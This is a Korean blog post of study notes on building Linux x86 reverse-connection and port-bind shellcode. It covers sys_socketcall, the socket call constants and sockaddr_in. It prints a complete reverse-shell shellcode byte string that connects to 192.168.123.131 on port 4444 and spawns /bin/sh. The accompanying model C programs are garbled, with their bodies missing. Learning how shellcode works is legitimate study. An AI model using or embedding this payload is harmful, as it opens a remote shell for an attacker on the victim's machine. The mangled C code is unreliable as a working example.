이번에 팀에서 과제로 Reverse Connection Shellcode와 Port Bind Shellcode를 만들게 되었습니다.
그래서 만드는 동안 공부하게 된것들을 정리하는 글이 되겠습니다.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- sys_socketcall
Linux에서 socket관련 함수를 이용할때 , 내부적으로 모두 sys_socketcall 시스템콜을 이용하게 된다.
net/socket.c에 정의된 sys_socketcall 함수의 원형은 다음과 같다.
asmlinkage long sys_socketcall(int call, unsigned long *args) if(call<1||call>SYS_RECVMSG) /* copy_from_user should be SMP safe. */ |
sys_socketcall 은 첫 번째인자로 받은 정수(call)에 해당하는 함수를 호출하면서 두 번째인자로 받은 포인터(args)를 참조해 함수가 필요로하는 인자를 전달해준다.
위에서 사용한 SYS_~~~ 꼴의 상수들은 include/linux/net.h에 정의되어있다.
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ |
- sockaddr_in
struct sockaddr_in{ short sin_family; unsigned short sin_port; struct in_addr sin_addr; char sin_zero[8]; }; |
1) Reverse Connection Shellcode
- 사용할 함수들의 원형
int socket(int domain, int type, int protocol); int connect(int sockfd, struct sockaddr *serv_addr, int addrlen); int dup2(int oldhandle, int newhandle); int execve(const char *path, char *const argv[], char *const envp[]); |
- 모델로 삼을 C코드
#include <stdio.h> int main() fd = socket(AF_INET , SOCK_STREAM , 0); sock_addr.sin_family = AF_INET; connect(fd , (struct sockaddr *)&sock_addr , sizeof(struct sockaddr)); |
- 주의할 조건
1) struct 구조체 2) 이중포인터처리 |
- 어셈코드로 작성
- SHELLCODE
"\x31\xc9\x31\xdb\x31\xc0\xb0\x66\x53\x43\x53\x43\x53\x4b\x89\xe1\xcd\x80" "\x88\xc3\xb0\x66\x51\x51\x68\xc0\xa8\x7b\x83\x66\x68\x11\x5c\x66\x6a\x02" "\x89\xe2\x6a\x10\x52\x53\xb3\x03\x89\xe1\xcd\x80\xb0\x3f\x31\xc9\xcd\x80" "\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" |
2) Port Bind Shellcode
- 사용할 함수들의 원형
int socket(int domain, int type, int protocol); int bind(int sockfd, struct sockaddr *myaddr, int addrlen); int listen(int sockfd, int backlog); int accept(int sockfd, struct sockaddr *addr, int *addrlen); int dup2(int oldhandle, int newhandle); int execve(const char *path, char *const argv[], char *const envp[]); |
- 모델로 삼을 C코드
#include <stdio.h> int main() sin_size = sizeof(struct sockaddr_in); server_fd = socket(AF_INET , SOCK_STREAM , 0); sock_addr.sin_family = AF_INET; bind(server_fd , (struct sockaddr *)&sock_addr , sizeof(struct sockaddr)); |
참고자료
http://synch3d.com/winsock/SOCKADDR_IN.html http://wiki.kldp.org/Translations/html/Socket_Programming-KLDP/Socket_Programming-KLDP.html#socket http://www.skyfree.org/linux/kernel_network/socket.html |
'ETC' 카테고리의 다른 글
apache2 CGI 활성화 시키기 (0) | 2013.05.07 |
---|